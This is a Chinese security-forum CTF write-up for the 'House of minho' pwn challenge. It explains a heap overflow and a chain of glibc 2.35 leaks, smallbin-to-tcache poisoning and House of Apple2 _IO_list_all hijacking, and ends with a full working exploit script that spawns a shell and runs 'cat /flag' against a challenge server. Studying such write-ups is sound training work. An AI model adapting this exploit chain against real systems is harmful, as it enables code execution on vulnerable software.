首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
Pwn
发新帖
0
0
[原创][Black Hat 2023] Pwn House of minho 解题报告
发表于: 2026-7-24 01:18
4004
[原创][Black Hat 2023] Pwn House of minho 解题报告
mb_dcvvjyqc
2026-7-24 01:18
4004
**1. 题目信息 ** ``` 目标: nc 123.57.66.184 10050 ``` 附件: ``` 附件: minho main.c Dockerfile docker-compose.yml ``` 最终 flag: ``` flag{bcddada9-b211-4c5d-8d04-282a53b2caff} ``` 参考环境: ``` Ubuntu 22.04 GLIBC 2.35 PIE: enabled NX: enabled Canary: enabled RELRO: Full RELRO ``` **2.漏洞点分析** 源码核心如下: ``` #define SIZE_SMALL 0x40 #define SIZE_BIG 0x80 char *g_buf; case 1: if (getint("Size [1=small / 2=big]: ") == 1) { g_buf = malloc(SIZE_SMALL); } else { g_buf = malloc(SIZE_BIG); } printf("Data: "); read(STDIN_FILENO, g_buf, SIZE_BIG); g_buf[strcspn(g_buf, "\n")] = '\0'; break; ``` 当选择 small 时: ``` g_buf = malloc(0x40); ``` 但输入时固定读入: ``` read(0, g_buf, 0x80); ``` 所以 small chunk 存在堆溢出,可以覆盖后续 chunk 的 metadata,包括 size、fd、bk 等字段。 程序限制: ``` char *g_buf; ``` 全局只有一个指针,delete 后会置空: ``` free(g_buf); g_buf = NULL; ``` 所以没有直接 UAF,但可以通过堆溢出、scanf 内部 malloc/realloc、tcache safe-linking 泄露与 smallbin-to-tcache 技巧完成利用。 **3.利用总体思路** 利用链分四段: ``` 1. 利用 scanf 读超长输入触发 malloc/realloc/free 2. 修改 Top Chunk size,让 Top Chunk 进入 Unsorted Bin,泄露 libc 3. 通过 tcache fd 的 safe-linking key 泄露 heap base 4. 伪造 smallbin 链,触发 smallbin-to-tcache,拿任意写 5. House of Apple2 劫持 _IO_list_all,触发 system("sh") 6. 执行 cat /flag ``` 关键 libc 偏移: ``` main_arena_unsorted = 0x219ce0 smallbin_0x90_head = 0x219d60 _IO_list_all = 0x21a680 _IO_wfile_overflow = 0x2160d8 system = 0x50d60 ``` **4.libc 泄露** 先溢出修改 Top Chunk size: ``` add(1, b"a" * 0x48 + p64(0xd11)) ``` 然后向 scanf("%d%*c") 输入超长数字: ``` sla(b"> ", b"0" * 0xfff + b"2") ``` scanf 内部会分配较大的缓冲区,大致触发: ``` malloc(0x800); realloc(..., 0x1000); realloc(..., 0x2000); free(...); ``` 配合被修改过的 Top Chunk size,可以让旧 Top Chunk 进入 Unsorted Bin。 之后通过 small chunk 溢出覆盖并 show: ``` free() add(1, b"a" * 0x50) show() ru(b"a" * 0x50) libc_base = u64(io.recv(6).ljust(8, b"\x00")) - 0x219ce0 ``` **5.heap 泄露** glibc 2.35 的 tcache fd 使用 safe-linking: ``` encoded_fd = real_fd ^ (chunk_addr >> 12) ``` 如果泄露 tcache 链表末尾 chunk 的 fd,由于真实 fd 为 0,所以泄露值就是: ``` heap_base >> 12 ``` 因此: ``` heap_base = leak << 12 ``` 对应利用: ``` free() add(2, b"a") free() add(1, b"a" * 0x50) show() ru(b"a" * 0x50) heap_base = u64(ru(b"\n")[:-1].ljust(8, b"\x00")) << 12 ``` **6.smallbin-to-tcache** 目标是构造一个 fake smallbin 链,让 glibc 在从 smallbin 取 chunk 时,把链上的其它 chunk 自动填充进 tcache。 先构造可被合并的 fake chunk: ``` add( 1, b"a" * 0x10 + p64(0) + p64(0x31) + 2 * p64(heap_base + 0x2c0) + b"a" * 0x10 + p64(0x30) + p64(0xd00) ) free() ``` 布置哨兵块,避免 malloc/free 检查崩溃: ``` add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0) + p64(0x11)) free() ``` 把 fake chunk size 改成 smallbin 大小: ``` add(1, b"a" * 0x10 + p64(0) + p64(0x91)) ``` 再次用 scanf 超长输入触发 unsorted bin 遍历,使 fake chunk 进入 smallbin: ``` sla(b"> ", b"0" * 0xfff + b"2") ``` 然后伪造 smallbin bk 链: ``` add(1, flat_list([ 0, 0, 0, 0x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x20, 0, 0x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x40, 0, 0x91, heap_base + 0x2c0 + 0x20, libc_base + 0x219d60, ])) free() ``` 触发 smallbin-to-tcache: ``` add(2, b"a") free() ``` 此时可以进行 tcache poisoning,获得一次写 libc 地址的机会。 **7.House of Apple2** 由于 Full RELRO,不能改 GOT。这里选择劫持: ``` _IO_list_all ``` 构造 fake _IO_FILE_plus,让程序 exit 时触发: ``` exit -> _IO_flush_all_lockp -> _IO_wfile_overflow -> system("sh") ``` 关键字段: ``` wide_data_off = 0xa0 vtable_off = 0xd8 wide_data_vtable_off = 0xe0 _IO_wfile_overflow_ptr = libc_base + 0x2160d8 _IO_list_all = libc_base + 0x21a680 system = libc_base + 0x50d60 ``` 写入 fake FILE: ``` add(2, flat_dict({ 0x10: b" sh;", 0x38: system, 0x68: 0x71, 0x70: _IO_list_all ^ (heap_base >> 12), }, filler=b"\x00")) ``` 继续补齐 wide_data 和 vtable: ``` add(2, flat_dict({ wide_data_off - 0x60: heap_base + 0x2e0 + 0xd0 - wide_data_vtable_off, 0xd0 - 0x60: heap_base + 0x2e0 + 0x28 - do_alloc_off, vtable_off - 0x60: _IO_wfile_overflow_ptr - __overflow_off, }, filler=b"\x00")) ``` 最后劫持 _IO_list_all: ``` add(2, p64(heap_base + 0x2e0)) ``` 退出触发: ``` sla(b"> ", b"4") ``` **8.完整 exploit** 保存为: ``` exp_minho_pure.py ``` 运行: ``` python3 exp_minho_pure.py 123.57.66.184 10050 --cmd "cat /flag; echo DONE" ``` 完整代码: ``` import socket, struct, time, argparse MASK64 = (1 << 64) - 1 def p64(x): return struct.pack("<Q", x & MASK64) def u64(b): return struct.unpack("<Q", b.ljust(8, b"\x00")[:8])[0] def flat_list(items): out = b"" for x in items: out += p64(x) if isinstance(x, int) else x return out def flat_dict(d, filler=b"\x00"): maxlen = 0 vals = [] for off, val in d.items(): b = p64(val) if isinstance(val, int) else val vals.append((off, b)) maxlen = max(maxlen, off + len(b)) out = bytearray(filler[:1] * maxlen) for off, b in vals: out[off:off + len(b)] = b return bytes(out) class Tube: def __init__(self, host, port, timeout=12): self.s = socket.create_connection((host, port), timeout=timeout) self.s.settimeout(timeout) self.buf = b"" def recv(self, n=4096): if self.buf: b = self.buf[:n] self.buf = self.buf[n:] return b return self.s.recv(n) def recvuntil(self, delim, drop=False): while delim not in self.buf: chunk = self.s.recv(4096) if not chunk: break self.buf += chunk idx = self.buf.find(delim) if idx >= 0: end = idx + len(delim) out = self.buf[:idx if drop else end] self.buf = self.buf[end:] return out out = self.buf self.buf = b"" return out def send(self, b): if isinstance(b, str): b = b.encode() self.s.sendall(b) def sendline(self, b): if isinstance(b, str): b = b.encode() self.send(b + b"\n") def sendafter(self, delim, b): self.recvuntil(delim) self.send(b) def sendlineafter(self, delim, b): self.recvuntil(delim) self.sendline(b) def clean(self, timeout=0.5): old = self.s.gettimeout() self.s.settimeout(timeout) out = self.buf self.buf = b"" while True: try: c = self.s.recv(4096) if not c: break out += c except socket.timeout: break self.s.settimeout(old) return out def exploit(host, port, cmd): io = Tube(host, port) ru = io.recvuntil sla = io.sendlineafter sa = io.sendafter def add(size, content): sla(b"> ", b"1") sla(b"Size [1=small / 2=big]: ", str(size).encode()) sa(b"Data: ", content) def show(): sla(b"> ", b"2") def free(): sla(b"> ", b"3") sla(b"> ", b"0" * 0xd58 + b"3") add(1, b"a" * 0x48 + p64(0xd11)) sla(b"> ", b"0" * 0xfff + b"2") free() add(1, b"a" * 0x50) show() ru(b"a" * 0x50) libc_base = u64(io.recv(6)) - 0x219ce0 print("[+] libc_base =", hex(libc_base)) free() add(1, b"a" * 0x48 + p64(0xcf1)) free() add(2, b"a") free() add(1, b"a" * 0x50) show() ru(b"a" * 0x50) heap_base = u64(ru(b"\n", drop=True)) << 12 print("[+] heap_base =", hex(heap_base)) free() add( 1, b"a" * 0x10 + p64(0) + p64(0x31) + 2 * p64(heap_base + 0x2c0) + b"a" * 0x10 + p64(0x30) + p64(0xd00) ) free() add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0) + p64(0x11)) free() add(1, b"a" * 0x10 + p64(0) + p64(0x91)) sla(b"> ", b"0" * 0xfff + b"2") free() add(1, flat_list([ 0, 0, 0, 0x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x20, 0, 0x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x40, 0, 0x91, heap_base + 0x2c0 + 0x20, libc_base + 0x219d60, ])) free() add(2, b"a") free() wide_data_off = 0xa0 vtable_off = 0xd8 wide_data_vtable_off = 0xe0 _IO_wfile_overflow_ptr = libc_base + 0x2160d8 __overflow_off = 0x18 do_alloc_off = 0x68 _IO_list_all = libc_base + 0x21a680 system = libc_base + 0x50d60 add( 1, b"a" * 0x10 + p64(0) + p64(0x71) + p64((heap_base + 0x2d0 + 0x70) ^ (heap_base >> 12)) ) free() add(2, flat_dict({ 0x10: b" sh;", 0x38: system, 0x68: 0x71, 0x70: _IO_list_all ^ (heap_base >> 12), })) free() add(2, flat_dict({ wide_data_off - 0x60: heap_base + 0x2e0 + 0xd0 - wide_data_vtable_off, 0xd0 - 0x60: heap_base + 0x2e0 + 0x28 - do_alloc_off, vtable_off - 0x60: _IO_wfile_overflow_ptr - __overflow_off, })) free() add(2, p64(heap_base + 0x2e0)) sla(b"> ", b"4") time.sleep(0.5) print("[+] trigger:", repr(io.clean())) io.sendline(cmd) out = b"" end = time.time() + 5 while time.time() < end: try: chunk = io.s.recv(4096) if not chunk: break out += chunk if b"DONE" in out: break except socket.timeout: break print(out.decode("latin-1", "replace")) if __name__ == "__main__": ap = argparse.ArgumentParser() ap.add_argument("host", nargs="?", default="123.57.66.184") ap.add_argument("port", nargs="?", type=int, default=10050) ap.add_argument("--cmd", default="cat /flag; echo DONE") args = ap.parse_args() exploit(args.host, args.port, args.cmd.encode()) ``` **9.结果** 执行: ``` python3 exp_minho_pure.py 123.57.66.184 10050 --cmd "cat /flag; echo DONE" ``` 输出: ``` [+] libc_base = 0x... [+] heap_base = 0x... [+] trigger: b'[+] Bye!\n' flag{bcddada9-b211-4c5d-8d04-282a53b2caff} DONE ```
登录后可查看完整内容
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
收藏
・
0
点赞
・
0
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
mb_dcvvjyqc
9
发帖
2
回帖
40
RANK
关注
私信
他的文章
[原创]KCTF 2026 第二题:巳时·绿光幽语
140
[原创]一串反引号,十层突破:n1ctf-2018-easy_harder_php 从备份泄露到 MySQL 提权读 flag
3226
[原创]在正则的缝隙里跳舞:BabyFirst 限制型命令注入的完整攻破与复现
1485
[原创]hitcon-2016-babytrick 解题报告
3471
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部